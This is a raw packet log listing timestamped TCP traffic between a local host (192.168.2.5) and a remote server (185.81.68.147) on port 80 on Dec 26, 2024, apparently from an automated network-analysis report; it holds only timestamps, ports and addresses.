Dec 26, 2024 12:05:12.090131998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.090178013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.090220928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.090266943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.091193914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.091239929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.091284037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.091331959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.092210054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.092257977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.092343092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.092391968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.093197107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.093242884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.093347073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.093390942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.094146013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.094193935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.251322031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.251363039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.251434088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.251483917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.251744032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.251799107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.251899004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.251950026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.252914906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.252979040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.252983093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.253228903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.253837109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.253911018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.253968954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.254034042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.254890919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.254960060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.254992962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.255040884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.256128073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.256171942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.256186008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.256213903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.256937981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.256987095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.257194996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.257241011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.257883072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.257927895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.257994890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.258039951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.258970022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.259017944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.259073973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.259120941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.260087013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.260143042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.260153055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.260199070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.261023998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.261084080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.261118889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.261224031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.261965036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.262016058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.262207985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.262259007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.263159037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.263171911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.263219118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.264241934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.264254093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.264296055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.265162945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.265213966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.265413046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.265465021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.266041994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.266089916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.266448975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.266501904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.267167091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.267230988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.267294884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.267359018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.268095016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.268148899 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.268188953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.268240929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.269120932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.269175053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.269218922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.269265890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.270157099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.270220041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.270252943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.270297050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.271258116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.271311045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.271363020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.271411896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.272258043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.272319078 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.272373915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.273310900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.273366928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.273443937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.273492098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.274317026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.274370909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.274388075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.274435997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.275330067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.275377989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.275379896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.275422096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.276906967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.276957035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.277209044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.277254105 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.278877974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.278893948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.278906107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.278928041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.278961897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.279010057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.279057026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.280425072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.280441046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.280477047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.280663967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.280708075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.280749083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.280792952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.281517982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.281707048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.281760931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.282485008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.282613039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.282665014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.283505917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.283560038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.283560991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.283600092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.284564972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.284578085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.284616947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.285598040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.285653114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.285689116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.285736084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.286667109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.286679029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.286725044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.287597895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.287621021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.287657022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.288693905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.288707018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.288742065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.289649963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.289663076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.289702892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.290848017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.290859938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.290896893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.291661978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.291729927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.291769028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.291815042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.292707920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.292763948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.292773008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.292860985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.293716908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.293765068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.293847084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.293894053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.294727087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.294773102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.294809103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.294853926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.295795918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.295842886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.296035051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.296083927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.296792030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.296838045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.296966076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.297014952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.297821999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.297867060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.297934055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.297979116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.298893929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.298938036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.298971891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.299014091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.299868107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.300044060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.300095081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.300988913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.301040888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.301096916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.301142931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.301928997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.301983118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.302150965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.302198887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.302954912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.303002119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.303005934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.303051949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.303981066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.304030895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.304088116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.304133892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.304940939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.306135893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.461956024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.462029934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.462059975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.462091923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.462357044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.462404013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.462493896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.462555885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.463373899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.463439941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.463479042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.463532925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.464431047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.464472055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.464492083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.464534998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.465426922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.465476036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.465578079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.465624094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.466674089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.466722012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.466758013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.466808081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.467588902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.467654943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.467729092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.467775106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.468499899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.468547106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.468638897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.468683958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.469651937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.469702005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.469929934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.469974041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.470666885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.470673084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.470726013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.471599102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.471647024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.471729040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.471776962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.472937107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.472975016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.473082066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.473128080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.473671913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.473716974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.473793983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.473835945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.474669933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.474716902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.474739075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.474797964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.475687981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.475729942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.475768089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.475811958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.476737022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.476783037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.476799011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.476838112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.477726936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.477807045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.477844954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.477890968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.478739977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.478784084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.478852034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.478899956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.479851961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.479863882 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.479922056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.480833054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.480905056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.480942011 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.480990887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.481823921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.481868029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.482031107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.482085943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.482847929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.482907057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.482984066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.483031034 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.483903885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.483959913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.483977079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.484060049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.484905005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.484961033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.485049963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.485097885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.486062050 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.486073971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.486115932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.487000942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.487049103 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.487052917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.487092018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.488002062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.488089085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.488117933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.488169909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.489079952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.489130020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.489150047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.489197969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.490032911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.490083933 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.490120888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.490179062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.491074085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.491128922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.491166115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.491208076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.492696047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.492743015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.492743015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.492783070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.493439913 CET	80	49708	185.81.68.147	192.168.2.5
